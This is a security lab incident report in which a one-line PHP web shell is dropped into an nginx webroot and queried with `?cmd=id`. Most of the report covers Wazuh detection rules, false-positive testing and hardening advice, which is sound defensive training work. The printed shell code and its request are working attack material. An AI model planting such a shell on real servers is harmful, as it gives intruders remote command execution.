SOC L1 LAB · INC-003

INC-003 — Detailed Findings Report

A web shell, a 200 response, and the rule that was missing

INCIDENT	INC-003 — Web shell dropped and executed
REPORT DATE	2026-11-01
CLASSIFICATION	Lab exercise — sanitized for publication
ENVIRONMENT	Wazuh 4.14.7 · Debian 12 · QEMU/KVM
SEVERITY	High

Independent portfolio lab. No production systems, client data, or real credentials.

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Incident	INC-003 — Web shell dropped and executed
Classification	Lab exercise, sanitized for publication
Activity date	2026-10-31
Report date	2026-11-01
Author	SOC L1 portfolio lab
Status	Closed — escalated
Severity	High
Related	`tickets/INC-003-web-shell.md`, `writeups/INC-003-web-shell.md`, `rules/inc-003-rules.md`, `docs/evidence/INC-003-*`

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1. Executive summary

At 22:12:20 UTC, a PHP file appeared in the nginx webroot. One second later auditd recorded its creation. Four seconds after that, an HTTP request returned `uid=33(www-data)`.

The drop was visible in three places: FIM reported the new file, audit reported the `cp`, and sudo reported the command that put it there. The **use** was not visible. The request `GET /updates2.php?cmd=id` returned HTTP 200, and the stock web ruleset only alerted on 4xx/5xx errors or known attack user-agents.

Two custom rules close the gap:

Rule	Purpose	Fired
100128	FIM: `.php` file added or modified	22:12:20.956
100127	Access log: `.php?cmd=` request	22:12:25 and 22:12:28

The web shell executed as `www-data`, not root. It ran `id` and `uname -a`; no privilege escalation, persistence, or lateral movement was observed.

A false-positive test against legitimate PHP deployment then showed the limits of both rules. A normal `index.php` deployment and update triggered 100128; a legitimate `index.php?cmd=status` triggered 100127; `?foo=1&cmd=id` was missed; a `.phtml` file was missed. Those results are in §8 and are part of the deliverable, not an afterthought.

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2. Scope and methodology

2.1 Scope

In scope	Out of scope
One Debian 12 VM (`soc-victim` , 10.0.2.15)	Production systems
nginx 1.22.1 and PHP-FPM 8.2	Real malware or C2
Wazuh 4.14.7, FIM, auditd, Suricata	Employer or client data
Local HTTP over the forwarded port	Internet-facing targets

2.2 Method

1. Confirm the base lab, webroot FIM, and audit execve rules.
2. Generate legitimate web traffic and admin activity.
3. Drop a PHP command shell into `/var/www/html` .
4. Execute it over HTTP as the web user.
5. Record the first-run detections and the gap.
6. Add the two web-shell rules, then repeat in a clean window.
7. Re-test against legitimate PHP deployment and parameter usage.
8. Contain, preserve evidence, and write the ticket.

2.3 Limitations

- **Source address.** Every request arrives from the QEMU gateway `10.0.2.2` .
- **PHP-FPM was installed for the exercise.** A production host may have a different PHP configuration or none at all.
- **One host.** No WAF, no reverse proxy, no application logs beyond nginx.
- **Synthetic shell.** A three-line test file, not a real implant.

3. Environment

Component	Detail
SIEM	Wazuh 4.14.7, single-node Docker
Endpoint	Debian 12, 1.5 GB VM
Agent	Wazuh agent 4.14.7, ID 001, `soc-victim`
Web server	nginx 1.22.1, docroot `/var/www/html`
PHP	PHP-FPM 8.2, socket `/run/php/php8.2-fpm.sock`
FIM	realtime on `/etc`, `/home`, `/var/www/html`
Audit	execve (`audit-wazuh-c`), file watches (`audit-wazuh-w`)
Network	Suricata 7.0.10, 8,234 ET Open rules
Attacker	host shell, HTTP over `127.0.0.1:8080`

The first run served the shell as source because PHP was not configured. Installing `php-fpm` and adding the standard `location ~ \.php$` block made the file execute. That install also generated ~3,900 audit/dpkg alerts, which is why the clean evidence window is 20 seconds, not the whole session.

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4. Attack narrative

4.1 Drop

```
sudo cp /tmp/updates2.php /var/www/html/updates2.php
```

File content:

```
<?php system($_GET['cmd']); ?>
```

SHA-256:

```
50e626c8e31a460af48991b83dfd98c0b24f3a9d9e6eb906e961e77a2aecf15d
```

The file was owned by `root:root` because it was copied with `sudo`, and was readable by the web user.

4.2 Use

```
GET /updates2.php?cmd=id HTTP/1.1
Host: 127.0.0.1:8080

HTTP/1.1 200 OK
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The same shell returned `uname -a` output. No other command was executed.

4.3 Why it worked

- The webroot was writable by the account used for the copy.
- PHP execution was enabled for `.php` files.
- The application had no allow-list of files or parameters.
- The shell used a readable `cmd` parameter and PHP's `system()` function, neither of which was disabled.

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5. Timeline

Time (UTC)	Source	Event
22:07:18.951	FIM 554	`updates.php` added (first run)
22:07:19.103	audit 80792	`cp /tmp/updates.php /var/www/html/updates.php`
22:07:19.105	audit 80790	Created `/var/www/html/updates.php`
22:07:19.801	sudo 5402	`sudo cp ...` by `analyst`
22:07:51	Suricata 86601	`ET SCAN Sqlmap SQL Injection Scan`
22:08:42	HTTP	First successful execution as `www-data`
22:12:20.956	**100128**	`updates2.php` added (clean run)
22:12:21.160	audit 80790	Created `updates2.php`
22:12:24	HTTP	`GET /updates2.php?cmd=id` → `uid=33`
22:12:25.031	**100127**	`cmd=id` request
22:12:25.031	**100127**	`cmd=uname -a` request
22:12:28	**100127**	sqlmap user-agent request
22:13	admin	Files removed, evidence preserved
23:01–23:02	false-positive test	Legit PHP deploy, update, and `cmd=` usage

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6. Evidence

6.1 Alert volume

Clean window: 22:12:15–22:12:35 UTC.

Rule	Description	Count
80792	Audit: command executed	55
80790	Audit: created file	1
100127	Web shell request	3
100128	PHP file added	1
80792 (`id` , `uname`)	Commands run by the shell	included above
Total		**67**

The broad session (including the PHP-FPM install) produced ~3,900 alerts; the evidence file keeps the clean window.

6.2 File evidence

Field	Value
Path	`/var/www/html/updates2.php`
Event	added (realtime)
Owner	`root:root`
SHA-256	`50e626c8e31a460af48991b83dfd98c0b24f3a9d9e6eb906e961e77a2aecf15d`
Content	`<?php system($_GET['cmd']); ?>`

6.3 Process evidence

```
22:12:20Z  sudo cp /tmp/updates2.php /var/www/html/updates2.php
22:12:20Z  cp /tmp/updates2.php /var/www/html/updates2.php
22:12:24Z  sh -c id
22:12:24Z  id
22:12:24Z  sh -c uname -a
22:12:24Z  uname -a
22:12:28Z  sh -c id
22:12:28Z  id
```

The shell's commands ran as `www-data` (`uid 33`), which is visible in the audit records and in the HTTP response.

6.4 Web evidence

```
10.0.2.2 - - [31/Oct/2026:22:12:24 +0000] "GET /updates2.php?cmd=id HTTP/1.1" 200 65 "-"
"curl/8.22.0"
10.0.2.2 - - [31/Oct/2026:22:12:28 +0000] "GET /updates2.php?cmd=id HTTP/1.1" 200 65 "-"
"sqlmap/1.7"
```

---

7. Detection analysis

7.1 What fired

Layer	Rule	What it proved
File	100128	A PHP file appeared in a monitored path
Process	80792	The `cp` and the shell's `id` / `uname`
Audit	80790	The file was created
Privilege	5402	Who copied it
Network	86601	A sqlmap user-agent was used (first run)
Web	100127	A `.php?cmd=` request was made

7.2 What stock detection missed

- Rule 31101 fires on 4xx/5xx responses. The web shell returned **200**.
- No stock rule inspects a successful request for a command parameter.
- Suricata catches known tools (sqlmap), not a hand-written shell requested with `curl`.

The lesson: file and process telemetry catch the drop and the execution, but only a web-layer rule catches the **request** that ties them together.

7.3 Why the custom rules

100128 gives the FIM event a severity and a meaning: a new PHP file in a monitored path is a web-shell candidate, not just a file change.

100127 looks at the access log where the request actually appears. It uses the stock level-0 parent 31100 and a literal `.php?cmd=` match.

Implementation findings:

- Wazuh uses **one `<match>` per rule**; two tags are not ANDed.
- OS_Regex variants (`\.php.*cmd=`, negated classes) did not match the access log.
- The literal substring is reliable; anchors and character classes are not, in this context.

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8. False-positive validation

Legitimate activity was run on 2026-10-31 at 23:01–23:02.

Legitimate action	Result
Static `/`, `/index.nginx-debian.html`	silent
Deploy `index.php`	**100128 fired** (expected; change ticket needed)
Update `index.php`	**100128 fired** (expected)
`GET /index.php?page=1`	silent
`GET /index.php?cmd=status` (legitimate app parameter)	**100127 fired** (false positive)
`GET /index.php?foo=1&cmd=id`	**no 100127** (gap: parameter order)
`app.phtml`	**no 100128** (gap: extension)
`legacy.php5`	**100128 fired** (`.php` is a substring of `.php5`)
`/home/analyst/notes/app.php`	**100128 fired** (outside webroot; broad match)
`style.css`	silent
Staging `/home/analyst/deploy/index.php`	**100128 fired** (staging copy)
`index.php.bak`	**100128 fired** (backup copy)
`index.php.tmp`	**100128 fired** (temp copy)
`health.php`	**100128 fired** (legitimate deploy)
Referer containing `.php?cmd=`	no 100127 (match is scoped to the request path)
User-Agent containing `.php?cmd=`	no 100127 (match is scoped to the request path)

Conclusions:

- **100128 is a deployment monitor, not a web-shell-specific rule.** It will fire on every legitimate PHP release, staging copy, backup (`index.php.bak`), and temp file (`index.php.tmp`). That is acceptable only if a change ticket is attached and the queue expects deployment events; it is not acceptable as an unreviewed pager alert.
- **100127 is a pattern match scoped to the request path.** A legitimate `cmd` parameter at the first position triggers it; a malicious `cmd` at the second position escapes it. Referer and User-Agent text containing `.php?cmd=` did **not** trigger it, which is the correct behaviour.
- **Extensions matter.** `.phtml` is missed; `.php5` is caught only because it contains `.php`.

Recommended tuning:

- keep 100128 at level 12 but route it to a deployment-aware queue;
- add literal variants for other parameter names and extensions as separate rules;
- allow-list known application paths that legitimately use `cmd`;
- put a WAF or application log in front for parameter-order and POST-body coverage.

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9. Root cause

9.1 Direct cause

A PHP file with `system($_GET['cmd'])` was written into an executable webroot and requested over HTTP.

9.2 Contributing factors

Factor	Effect
Webroot writable by the deployment path	A file could be placed there
PHP execution enabled for the whole docroot	The file ran
No allow-list of PHP files or parameters	The shell was reachable
`system()` not disabled	Command execution worked
No WAF	The request was not inspected
Web logs collected but not alerted on 200	The use was invisible

9.3 Five whys

1. **Why did it execute?** PHP-FPM ran a file the application did not deploy.
2. **Why was the file there?** The webroot was writable.
3. **Why was it writable?** Deployment permissions were not separated from runtime.
4. **Why did nobody see the request?** Stock web rules only alert on errors/tools.
5. **Why were the rules incomplete?** The detection set modelled file changes and attacks, not successful application-layer abuse.

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10. Impact

Dimension	Assessment
Confidentiality	Web-user access to the host; commands ran as `www-data`
Integrity	A file was added to the docroot
Availability	None observed
Blast radius	One host; the web user's files and reachable services
Escalation	Not achieved in the window; local privilege escalation was not attempted

A web shell is an interactive foothold. Even as `www-data`, it can read application configs, reach internal services, and stage a second payload.

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11. Severity

High.

- **Not Critical:** `www-data`, no root, no persistence, no lateral movement, one host.
- **Not Medium:** remote code execution with command output over HTTP, and a writable webroot that allows a repeat.

If the application held credentials or the web user had sudo, the rating would be Critical.

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12. Response actions

1. Removed `updates.php` and `updates2.php` from `/var/www/html`.
2. Recorded the file hashes before deletion.
3. Verified the webroot contained only the original `index.nginx-debian.html`.
4. Preserved the FIM alert, audit commands, nginx access lines, and alert JSON.
5. Reviewed the PHP/nginx configuration; execution was as `www-data`.
6. Escalated for a deployment-permission and PHP-hardening review.

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13. Recommendations

Immediate

#	Action
1	Remove the shell and hash it before deletion
2	Check the webroot for other unexpected `.php` files
3	Review the deployment account's write permissions
4	Confirm the web user cannot write executable content in production
5	Preserve logs before rotating

Short term

#	Action
6	Deploy 100127/100128; route 100128 to deployment-aware triage
7	Disable `system`, `exec`, `shell_exec`, `passthru`, `popen` in `php.ini`
8	Set `open_basedir` for the application
9	Make the webroot read-only at runtime; deploy via a pipeline
10	Add a WAF or reverse proxy with request inspection

Long term

#	Action
11	Separate build and runtime users
12	Add application-level logging for command parameters
13	Test parameter-order and extension variants in detection CI
14	Tabletop a web-shell incident with the deployment team
15	Review outbound restrictions for the web tier

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14. Detection gaps

Gap	Consequence
No stock 200-response inspection	Successful shell requests are invisible
100127 requires `.php?cmd=` literal	`?foo=1&cmd=` and POST bodies escape
100128 matches any `.php` in monitored paths	Legit deploys and PHP outside the webroot fire
`.phtml` not matched	A shell with that extension is missed
No WAF	Request body and encoded payloads are not inspected
Webroot write path not monitored as a policy	The root cause is a permission, not an alert

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15. Lessons learned

- **A 200 is not benign.** Successful abuse is the interesting case.
- **File, process, and request are three different questions.** Monitor all three.
- **Web-shell detection is deployment-aware.** 100128 is a deploy monitor first and a security rule second.
- **Literal matches are fragile.** They are what Wazuh's FIM/web rule engine handles reliably here, so document the exact shape and its blind spots.
- **Read-only deployment is the control.** Detection without it is a race.

Appendix A — Rules

```
<rule id="100127" level="12">
  <if_sid>31100</if_sid>
  <match>.php?cmd=</match>
  <description>Web: command parameter in a PHP request (possible web shell)</description>
  <mitre><id>T1505.003</id><id>T1059.004</id></mitre>
  <group>web,attack,</group>
</rule>
```

```
<rule id="100128" level="12">
  <if_sid>550,554</if_sid>
  <match>.php</match>
  <description>FIM: PHP file added under a monitored path (possible web shell)</description>
  <mitre><id>T1505.003</id></mitre>
  <group>syscheck,web,persistence,</group>
</rule>
```

Appendix B — MITRE ATT&CK

Technique	ID	Evidence
Server software component: web shell	T1505.003	`updates2.php` with `system()`
Unix shell	T1059.004	`sh -c id`, `sh -c uname -a`
System information discovery	T1082	`uname -a`
System owner/user discovery	T1033	`id`
Ingress tool transfer	T1105	not observed; the file was copied locally

Appendix C — Evidence index

File	Contents
`docs/evidence/INC-003-alerts.json`	67 alerts from the clean window
`docs/evidence/INC-003-web.log`	nginx access lines for the shell requests
`docs/evidence/INC-003-commands.txt`	Decoded audit commands
`writeups/INC-003-web-shell.md`	Narrative version
`rules/inc-003-rules.md`	Rule rationale and test matrix

Appendix D — Glossary

Term	Meaning
Web shell	A script uploaded to a web server that executes commands over HTTP
FIM	File integrity monitoring
PHP-FPM	FastCGI process manager that executes PHP
`www-data`	Debian's default web-server user
31100	Wazuh's level-0 grouping rule for access logs